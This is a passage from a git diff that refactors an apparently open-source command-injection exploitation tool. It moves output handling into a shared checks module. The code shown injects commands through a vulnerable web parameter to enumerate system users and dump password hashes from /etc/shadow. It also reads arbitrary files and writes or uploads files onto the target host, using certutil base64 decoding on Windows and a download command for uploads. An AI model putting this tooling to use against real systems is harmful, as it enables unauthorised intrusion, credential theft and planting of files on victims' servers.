is_privileged_nh = " is non-trusted user " - else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user " - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - else : - is_privileged = "" - is_privileged_nh = "" - print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) - output_file.close() - except ValueError: - if count == 1 : - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the " - warn_msg += "appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users.split(":")) - print(sys_users) - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" " + sys_users) - output_file.close() - else: - print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that you don't have permissions to read the '" - warn_msg += settings.PASSWD_FILE + "'." - ptint(settings.print_warning_msg(warn_msg)) - except TypeError: - pass - except IndexError: - print(settings.SINGLE_WHITESPACE) - warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." - print(settings.print_warning_msg(warn_msg)) - pass + checks.print_users(sys_users, filename, _) """ System passwords enumeration """ -def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - if settings.TARGET_OS == "win": - check_option = "--passwords" - checks.unavailable_option(check_option) - pass +def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + _ = False + cmd = settings.SYS_PASSES + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + # Command execution results. + response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + # Perform target page reload (if it is required). + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + # Evaluate injection results. + sys_passes = eb_injector.injection_results(response, TAG, cmd) + sys_passes = "".join(str(p) for p in sys_passes) + session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) else: - cmd = settings.SYS_PASSES - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - sys_passes = eb_injector.injection_results(response, TAG, cmd) - sys_passes = "".join(str(p) for p in sys_passes) - session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) - else: - sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if sys_passes == "": - sys_passes = " " - if sys_passes : - info_msg = "Fetching content of the file '" + settings.SHADOW_FILE - info_msg += "' in order to enumerate users password hashes. " - print(settings.print_info_msg(info_msg)) - sys_passes = sys_passes.replace(" ", "\n") - sys_passes = sys_passes.split() - if len(sys_passes) != 0 : - info_msg = "Identified " + str(len(sys_passes)) - info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] - info_msg += " in '" + settings.SHADOW_FILE + "'." - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) - output_file.close() - count = 0 - for line in sys_passes: - count = count + 1 - try: - if ":" in line: - fields = line.split(":") - if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": - print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") - output_file.close() - # Check for appropriate '/etc/shadow' format. - except IndexError: - if count == 1 : - warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not " - warn_msg += "in the appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - print(fields[0]) - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" " + fields[0]) - output_file.close() - else: - warn_msg = "It seems that you don't have permissions to read the '" - warn_msg += settings.SHADOW_FILE + "' file." - print(settings.print_warning_msg(warn_msg)) - + sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + checks.print_passes(sys_passes, filename, _) """ Single os-shell execution @@ -570,11 +299,25 @@ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, ur settings.ENUMERATION_DONE = True if menu.options.users: + if settings.TARGET_OS == "win": + info_msg = "Executing the 'net users' command " + info_msg += "in order to enumerate users entries. " + else: + info_msg = "Fetching content of the file '" + settings.PASSWD_FILE + info_msg += "' in order to enumerate users entries. " + print(settings.print_info_msg(info_msg)) system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True if menu.options.passwords: - system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + if settings.TARGET_OS == "win": + check_option = "--passwords" + checks.unavailable_option(check_option) + else: + info_msg = "Fetching content of the file '" + settings.SHADOW_FILE + info_msg += "' in order to enumerate users password hashes. " + print(settings.print_info_msg(info_msg)) + system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True # eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py index 67090acfa1..82c285f3f4 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py @@ -18,6 +18,7 @@ from src.utils import menu from src.utils import settings from src.utils import session_handler +from src.core.injections.controller import checks from src.core.requests import requests from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init @@ -27,191 +28,80 @@ The dynamic code evaluation (aka eval-based) technique. """ -""" -Read a file from the target host. -""" -def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() - info_msg = "Fetching content of the file: '" - info_msg += file_to_read + "'." - print(settings.print_info_msg(info_msg)) - - # Execute command - if settings.TARGET_OS == "win": - cmd = settings.WIN_FILE_READ + file_to_read - else: - cmd = "(" + settings.FILE_READ + file_to_read + ")" - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell: - _ = "Fetched file content" - print(settings.print_retrieved_data(_, shell)) - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "Extracted content of the file '" - info_msg += file_to_read + "' : " + shell + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the content of the file '" + file_to_read + "'." - print(settings.print_warning_msg(warn_msg)) - """ Write to a file on the target host. """ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode() - if not os.path.exists(file_to_write): - warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." - print(settings.print_warning_msg(warn_msg)) - raise SystemExit() - - if os.path.isfile(file_to_write): - with open(file_to_write, 'r') as content_file: - content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file] - content = "".join(str(p) for p in content).replace("'", "\"") - if settings.TARGET_OS == "win": - import base64 - content = base64.b64encode(content.encode(settings.DEFAULT_CODEC)).decode() - else: - warn_msg = "It seems that '" + file_to_write + "' is not a file." - print(settings.print_warning_msg(warn_msg)) - - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1] - else: - dest_to_write = menu.options.file_dest - - info_msg = "Trying to write the content of the file '" - info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'." - print(settings.print_info_msg(info_msg)) - - # Execute command + file_to_write, dest_to_write, content = checks.check_file_to_write() if settings.TARGET_OS == "win": - dest_to_write = dest_to_write.replace("\\","/") - # Find path - path = os.path.dirname(dest_to_write) - path = path.replace("/","\\") - # Change directory - cmd = "cd " + path + cmd = checks.change_dir(dest_to_write) response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Find filename - filname = os.path.basename(dest_to_write) - tmp_filname = "tmp_" + filname - cmd = settings.FILE_WRITE + " " + content + ">" + tmp_filname + fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Decode base 64 encoding - cmd = "certutil -decode " + tmp_filname + " " + filname + cmd = checks.win_decode_b64_enc(fname, tmp_fname) response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) eb_injector.injection_results(response, TAG, cmd) - # Delete tmp file - cmd = "del " + tmp_filname + cmd = checks.delete_tmp(tmp_fname) response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) eb_injector.injection_results(response, TAG, cmd) - # Check if file exists - cmd = "if exist " + filname + " (echo " + filname + ")" - dest_to_write = path + "\\" + filname - + #cmd = "if exist " + fname + " (echo " + fname + ")" + # dest_to_write = dest_to_write + "\\" + fname + cmd = checks.check_file(dest_to_write) else: - cmd = settings.FILE_WRITE + " '" + content + "'" + ">" + "'" + dest_to_write + "'" + cmd = checks.write_content(content, dest_to_write) response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = eb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) - # Check if file exists - cmd = "echo $(ls " + dest_to_write + ")" - - # Check if defined cookie injection. + cmd = checks.check_file(dest_to_write) response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = eb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) - if shell: - info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'." - print(settings.print_bold_info_msg(info_msg)) - else: - warn_msg = "It seems that you don't have permissions to write files on the remote direcoty '" + dest_to_write + "'." - print(settings.print_warning_msg(warn_msg)) - + checks.file_write_status(shell, dest_to_write) + """ Upload a file on the target host. """ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - if settings.TARGET_OS == "win": - check_option = "--file-upload" - checks.unavailable_option(check_option) - pass - else: - file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode() - # check if remote file exists. - try: - _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as err_msg: - warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")" - print(settings.print_warning_msg(warn_msg)) - print(settings.SINGLE_WHITESPACE) - raise SystemExit() - except ValueError as err_msg: - err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] - print(settings.print_critical_msg(err_msg)) - print(settings.SINGLE_WHITESPACE) - raise SystemExit() - - # Check the file-destination - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] - else: - dest_to_upload = menu.options.file_dest - - info_msg = "Trying to upload the file from '" - info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'." - print(settings.print_info_msg(info_msg)) + cmd, dest_to_upload = checks.check_file_to_upload() + response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + shell = eb_injector.injection_results(response, TAG, cmd) + shell = "".join(str(p) for p in shell) + cmd = checks.check_file(dest_to_upload) + response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + shell = eb_injector.injection_results(response, TAG, cmd) + shell = "".join(str(p) for p in shell) + checks.file_upload_status(shell, dest_to_upload) - # Execute command - cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - - # Check if file exists! - if settings.TARGET_OS == "win": - cmd = "dir " + dest_to_upload + ")" - else: - cmd = "echo $(ls " + dest_to_upload + ")" +""" +Read a file from the target host. +""" +def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + cmd, file_to_read = checks.file_content_to_read() + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) shell = eb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) - if shell: - info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." - print(settings.print_bold_info_msg(info_msg)) - else: - warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file." - print(settings.print_warning_msg(warn_msg)) + session_handler.store_cmd(url, cmd, shell, vuln_parameter) + else: + shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + checks.file_read_status(shell, file_to_read, filename) """ Check the defined options """ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - if menu.options.file_write: file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.FILE_ACCESS_DONE = True if menu.options.file_upload: - file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + if settings.TARGET_OS == "win": + check_option = "--file-upload" + checks.unavailable_option(check_option) + else: + file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.FILE_ACCESS_DONE = True if menu.options.file_read: diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py index 312bb20084..dc54fb7b28 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py @@ -31,11 +31,12 @@ Powershell's version number enumeration (for Windows OS) """ def powershell_version(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): + _ = False cmd = settings.PS_VERSION if alter_shell: cmd = cmd.replace("'","\\'") else: - cmd = "\"" + cmd + "\"" + cmd = cmd = checks.quoted_cmd(cmd) # Evaluate injection results. if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. @@ -46,29 +47,13 @@ def powershell_version(separator, payload, TAG, timesec, prefix, suffix, whitesp session_handler.store_cmd(url, cmd, ps_version, vuln_parameter) else: ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - try: - if float(ps_version): - settings.PS_ENABLED = True - # Output PowerShell's version number - info_msg = "Powershell version: " - info_msg += ps_version + Style.RESET_ALL + Style.BRIGHT - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = info_msg - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - except ValueError: - warn_msg = "Heuristics have failed to identify the version of Powershell, " - warn_msg += "which means that some payloads or injection techniques may be failed." - print(settings.print_warning_msg(warn_msg)) - settings.PS_ENABLED = False + checks.print_ps_version(ps_version, filename, _) """ Hostname enumeration """ def hostname(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): + _ = False if settings.TARGET_OS == "win": settings.HOSTNAME = settings.WIN_HOSTNAME cmd = settings.HOSTNAME @@ -81,23 +66,13 @@ def hostname(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_ session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell: - info_msg = "Hostname: " + str(shell) - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "Hostname: " + str(shell) + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to identify the hostname." - print(settings.print_warning_msg(warn_msg)) + checks.print_hostname(shell, filename, _) """ Retrieve system information """ def system_information(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): + _ = False if settings.TARGET_OS == "win": settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS cmd = settings.RECOGNISE_OS @@ -141,23 +116,13 @@ def system_information(separator, payload, TAG, timesec, prefix, suffix, whitesp session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) else: target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if target_os and target_arch: - info_msg = "Operating system: " + str(target_os) + " (" + str(target_arch) + ")" - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = info_msg + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to fetch underlying operating system information." - print(settings.print_warning_msg(warn_msg)) + checks.print_os_info(target_os, target_arch, filename, _) """ The current user enumeration """ def current_user(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): + _ = False if settings.TARGET_OS == "win": settings.CURRENT_USER = settings.WIN_CURRENT_USER cmd = settings.CURRENT_USER @@ -170,24 +135,14 @@ def current_user(separator, payload, TAG, timesec, prefix, suffix, whitespace, h session_handler.store_cmd(url, cmd, cu_account, vuln_parameter) else: cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if cu_account: - info_msg = "Current user: " + str(cu_account) - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "Current user: " + str(cu_account) + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to fetch the current user." - print(settings.print_warning_msg(warn_msg)) + checks.print_current_user(cu_account, filename, _) """ Check if the current user has excessive privileges. """ def check_current_user_privs(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): + _ = False if settings.TARGET_OS == "win": cmd = settings.IS_ADMIN else: @@ -201,30 +156,20 @@ def check_current_user_privs(separator, payload, TAG, timesec, prefix, suffix, w session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - _ = "True" - if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ - (settings.TARGET_OS != "win" and shell != "0"): - _ = "False" - - info_msg = "Current user has excessive privileges: " + str(_) - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() + checks.print_current_user_privs(shell, filename, _) """ System users enumeration """ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): + _ = False if settings.TARGET_OS == "win": settings.SYS_USERS = settings.WIN_SYS_USERS settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" if alter_shell: settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'") else: - settings.SYS_USERS = "\"" + settings.SYS_USERS + "\"" + settings.SYS_USERS = checks.quoted_cmd(settings.SYS_USERS) cmd = settings.SYS_USERS if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. @@ -235,236 +180,24 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h session_handler.store_cmd(url, cmd, sys_users, vuln_parameter) else: sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - # Windows users enumeration. - if settings.TARGET_OS == "win": - info_msg = "Executing the 'net users' command " - info_msg += "in order to enumerate users entries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - try: - if sys_users[0] : - sys_users = "".join(str(p) for p in sys_users).strip() - sys.stdout.write(settings.SUCCESS_STATUS) - sys_users_list = re.findall(r"(.*)", sys_users) - sys_users_list = "".join(str(p) for p in sys_users_list).strip() - sys_users_list = ' '.join(sys_users_list.split()) - sys_users_list = sys_users_list.split() - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " via 'net users' command." - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - count = count + 1 - if menu.options.privileges: - cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" - if alter_shell: - cmd = cmd.replace("'","\\'") - cmd = "cmd /c " + cmd - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - check_privs = cb_injector.injection_results(response, TAG, cmd) - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = re.findall(r"(.*)", check_privs) - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = check_privs.split() - if "Admin" in check_privs[0]: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user" - is_privileged_nh = " is admin user " - else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user" - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" ) - output_file.close() - else: - print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that you don't have permissions to enumerate users entries." - print(settings.print_warning_msg(warn_msg)) - except TypeError: - pass - except IndexError: - print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that you don't have permissions to enumerate users entries." - print(settings.print_warning_msg(warn_msg)) - pass - - # Unix-like users enumeration. - else: - info_msg = "Fetching content of the file '" + settings.PASSWD_FILE - info_msg += "' in order to enumerate users entries. " - print(settings.print_info_msg(info_msg)) - try: - if sys_users[0] : - sys_users = "".join(str(p) for p in sys_users).strip() - if len(sys_users.split(" ")) <= 1 : - sys_users = sys_users.split("\n") - else: - sys_users = sys_users.split(" ") - # Check for appropriate '/etc/passwd' format. - if len(sys_users) % 3 != 0 : - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " - warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users).strip() - print(sys_users) - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" " + sys_users) - output_file.close() - else: - sys_users_list = [] - for user in range(0, len(sys_users), 3): - sys_users_list.append(sys_users[user : user + 3]) - if len(sys_users_list) != 0 : - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " in '" + settings.PASSWD_FILE + "'." - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - sys_users = sys_users_list[user] - sys_users = ":".join(str(p) for p in sys_users) - count = count + 1 - fields = sys_users.split(":") - fields1 = "".join(str(p) for p in fields) - # System users privileges enumeration - try: - if not fields[2].startswith("/"): - raise ValueError() - if menu.options.privileges: - if int(fields[1]) == 0: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user " - is_privileged_nh = " is root user " - elif int(fields[1]) > 0 and int(fields[1]) < 99 : - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user " - is_privileged_nh = " is system user " - elif int(fields[1]) >= 99 and int(fields[1]) < 65534 : - if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user " - is_privileged_nh = " is anonymous user " - elif int(fields[1]) == 60002: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user " - is_privileged_nh = " is non-trusted user " - else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user " - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - else : - is_privileged = "" - is_privileged_nh = "" - print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) - output_file.close() - except ValueError: - if count == 1 : - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the " - warn_msg += "appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users.split(":")) - print(sys_users) - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" " + sys_users) - output_file.close() - else: - print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that you don't have permissions to read the '" - warn_msg += settings.PASSWD_FILE + "'." - ptint(settings.print_warning_msg(warn_msg)) - except TypeError: - pass - except IndexError: - print(settings.SINGLE_WHITESPACE) - warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." - print(settings.print_warning_msg(warn_msg)) - pass + checks.print_users(sys_users, filename, _) """ System passwords enumeration """ -def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - if settings.TARGET_OS == "win": - check_option = "--passwords" - checks.unavailable_option(check_option) - pass +def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): + _ = False + cmd = settings.SYS_PASSES + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + # Command execution results. + response = 